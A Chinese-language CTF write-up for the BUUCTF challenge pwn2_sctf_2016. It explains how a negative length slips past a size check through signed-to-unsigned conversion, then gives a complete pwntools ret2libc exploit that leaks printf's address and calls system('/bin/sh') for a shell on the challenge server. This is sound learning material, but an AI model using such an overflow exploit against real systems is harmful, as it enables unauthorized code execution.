pwn2_sctf_2016来自BUUTCTF
这到题在ret2libc基础上加了一些难度。对于新手来说还是不错的。话不多说看题:
先来checksec一下啊,依旧是开启NX。
放进IDA中分析一下程序的代码:

这是主函数可以看到一个vuln()这个函数,我们点进去看一下。

这是vuln函数的内部,这个get_n()函数也是自定一的函数。vuln函数我们可以知道 v2接受atoi的返回值。atoi函数是将将字符串转换位整数并返回转换后的整数。if()判断,限制了大小不能超过32。
我们看一下get_n函数吧:

需要注意a2。在vuln中第二个get_n()函数。传入的v2是有符号整型int,传入后可以看到变成了无符号整型。(有符号数若为正数,则与无符号数所表示的值是一致的;若为负数,则与无符号数所表示的数值相差很大)所以我们输入负数就能绕过if语句的判断。接下来就是32位ret2libc的套路。这个题我们选择通过printf函数来泄露libc
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn',25839)
elf=ELF('./pwn2')
context.log_level='debug'
main=elf.sym['main']
puts_plt=elf.plt['printf']
puts_got=elf.got['printf']
r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
payload='a'*(0x2c+4)+p32(puts_plt)+p32(main)+p32(puts_got)
r.recvuntil('\n')
r.sendline(payload)
r.recvuntil('\n')
puts_addr=u32(r.recv(4))
libc=LibcSearcher('printf',puts_addr)
offset=puts_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload='a'*(0x2c+4)+p32(system)+'aaaa'+p32(bin_sh)
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
r.sendline(payload)
r.interactive()

浙公网安备 33010602011771号